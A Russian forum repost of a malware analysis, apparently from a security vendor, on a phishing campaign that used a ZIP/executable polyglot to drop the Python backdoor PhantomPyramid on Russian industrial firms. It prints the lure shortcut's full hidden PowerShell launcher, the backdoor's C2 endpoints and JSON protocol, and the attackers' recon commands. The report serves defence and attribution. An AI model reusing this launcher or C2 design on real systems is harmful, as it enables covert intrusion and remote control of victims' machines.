Новая целевая рассылка с бэкдором PhantomPyramid

BOOX

Стаж на ФС с 2012 года
Команда форума
Служба безопасности
Private Club
Регистрация
23/1/18
Сообщения
32.639
Репутация
12.540
Реакции
64.372
RUB
150

SL-PhantomPyramid-featured-1200x600.jpg

Введение

В марте мы обнаружили массовую рассылку, нацеленную на российские промышленные предприятия. Потенциальные жертвы получили однотипные письма от некоего секретариата с вложением «Заявка_[REDACTED]_5_03Д.zip».


Пример письма

Отправители просят адресата подтвердить получение письма и ознакомиться с некой заявкой, якобы содержащей конфиденциальную информацию.

Вредоносный «архив»

Как и во многих других целевых рассылках, вложение в письме содержит вредоносный файл, но в этой рассылке есть своя особенность. Обычно злоумышленники отправляют запароленный архив, чтобы избежать автоматического сканирования вложения, и на первый взгляд так поступили и в нашем случае. Однако на самом деле авторы рассылки использовали технику polyglot.

Эта вредоносная техника позволяет атакующим создавать файлы, которые могут быть прочитаны разными системами и интерпретированы как несколько разных форматов. В частности, они могут одновременно содержать и компоненты безобидного файла, и вредоносный код, в том числе на нескольких языках программирования.

В результате один и тот же файл может быть распознан как изображение, документ или исполняемый файл, в зависимости от контекста, в котором его открывают. Так, несмотря на расширение ZIP, файл «Заявка_[REDACTED]_5_03Д.zip» является бинарным исполняемым файлом, в конце которого был дописан небольшой ZIP-архив. Такая уловка позволяет открыть и просмотреть содержимое архива в стандартном файловом менеджере Windows Explorer, как будто кроме него в файле ничего нет.


Содержимое архива

Внутри архива с паролем 2525 можно найти ярлык «Заявка_[REDACTED]_5_03Д.pdf.lnk» (MD5: ). Если пользователь откроет его, то будет запущен интерпретатор powershell.exe со следующими аргументами:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
powershell.exe -WindowStyle hidden -c "$r=$(Get-Location).Path + '\Заявка_[REDACTED]_5_03Д.zip';

if(Test-Path $r) {
cmd.exe /c start /B $r;
} else {
$f=$(Get-ChildItem -Path '%userprofile%' -Recurse -Filter 'Заявка_[REDACTED]_5_03Д.zip' | Select-Object -First 1);
if($f) {
$r=$f.FullName; cmd.exe /c start /B $f.FullName;
};
};
if(-Not (Test-Path $r)) {
$r=$(Get-ChildItem -Path '%temp%' -Recurse -Filter
"Заявка_[REDACTED]_5_03Д.zip" | Select-Object -First 1).FullName;
};
[System.IO.File]::WriteAllBytes(
[System.IO.Path]::Combine('%temp%','Заявка_[REDACTED]_5_03Д.pdf'),
([System.IO.File]::ReadAllBytes($r) | Select-Object -Skip 7166046 -First 147100)
);
Start-Process -FilePath $([System.IO.Path]::Combine('%temp%', 'Заявка_[REDACTED]_5_03Д.pdf'));

Этот сценарий найдет файл «Заявка[REDACTED]_5_03Д.zip», содержащий бэкдор, и запустит его как исполняемый при помощи команды start. Также он извлечет часть содержимого файла «Заявка[REDACTED]5_03Д.zip» (147 100 байт начиная с байта 7 166 046), сохранит его как «Заявка[REDACTED]_5_03Д.pdf» во временном каталоге и запустит его. В результате пользователь увидит документ-приманку с заявкой на ремонт оборудования якобы от одного из министерств.


Документ-приманка

Backdoor PhantomPyramid​

Исполняемая часть polyglot-файла представляет собой бэкдор, написанный на Python версии 3.8 и скомпилированный с использованием PyInstaller.



При запуске бэкдор формирует запрос с полями uid, private_ip и public_ip и отправляет его в формате JSON на адрес http://109.107.182[.]11/hello.

1{"uid":<uid>,"private_ip":<private_ip>, "public_ip": <public_ip>}

Поле uid содержит идентификатор, который генерируется случайным образом. Для получения значения public_ip скрипт использует публичный сервис api.ipify.org. В свою очередь, значение поля private_ip — это IP-адрес устройства внутри локальной сети, который бэкдор получает в результате выполнения функций socket.gethostbyname(socket.gethostname()). После отправки данных от командного центра должен прийти ответ об успешной регистрации бота.

1{"message":"Client registered","status":"success"}

Затем бэкдор начинает опрашивать адрес http://109.107.182[.]11/task?uid={uid} в цикле и пытается получить команду, которую выполнит с использованием функции Python subprocess.run. Если команда начинается с префикса process, то вместо subprocess.run будет использована функция subprocess.Popen.

Дополнительно в бэкдоре реализована еще одна команда — load. Она позволяет злоумышленнику загружать на зараженную машину любые другие вредоносные компоненты с адреса, переданного вместе с командой, и сохранять их по указанному пути. Результаты выполнения команд бот отправляет на адрес http://109.107.182[.]11/result в формате JSON вида:


1{"uid":<uid>,"result":<result>}
Во время исследования мы смогли получить следующие команды, которые были выполнены злоумышленниками для анализа зараженной машины.

1
2
3
4
5
6
7
8
arp -a
dir
whoami
nslookup 127.0.0.1
nslookup 127.0.0.2
shutdown
shutdown /f
load C:\\ProgramData

Кроме того, нам удалось получить один из загружаемых командой load компонентов, которым оказалось ПО MeshAgent — агент для удаленного управления устройствами с открытым исходным кодом, входящий в решение MeshCentral. Это легитимное ПО, которое, однако, используют и организации, и злоумышленники. В частности, оно присутствует в арсенале группы .

Жертвы

Жертвами стали российские промышленные предприятия. По данным нашей телеметрии письма получили свыше 800 пользователей примерно из сотни организаций.

Атрибуция

Мы изучили несколько других образцов MeshAgent, которые ранее поступали к нам на анализ, и нашли агент с похожим файлом настроек (MD5: )


Содержимое файла настроек MeshAgent из рассматриваемой кампании (сверху) и схожего образца MeshAgent (снизу)

Как можно заметить, в них совпадают поля ServerID, displayName, description, CompanyName, meshServiceName и fileName. Стоит отметить, что в этом агенте в качестве сервера указан домен updourlan[.]ru, который ранее был замечен в атаках Head Mare с использованием бэкдора PhantomJitter. Подробнее об этих индикаторах можно прочитать в отчете, доступном подписчикам : HeadMare’s new PhantomJitter backdoor dropped in attacks exploiting Microsoft Exchange.

Заключение

Злоумышленники постоянно обновляют свои приемы и вредоносное ПО. В описанной кампании, которую мы с высокой степенью уверенности приписываем группе Head Mare, атакующие использовали технику polyglot, которую мы раньше не видели в их арсенале, а также новый бэкдор на Python. Чтобы оставаться на шаг впереди атакующих, организациям нужно обладать самыми актуальными данными об их TTP, получая информацию как из собственных систем, так и из сервисов .


 
  • Теги
    phantompyramid вредоносное по фишинговое письмо
  • Назад
    Сверху Снизу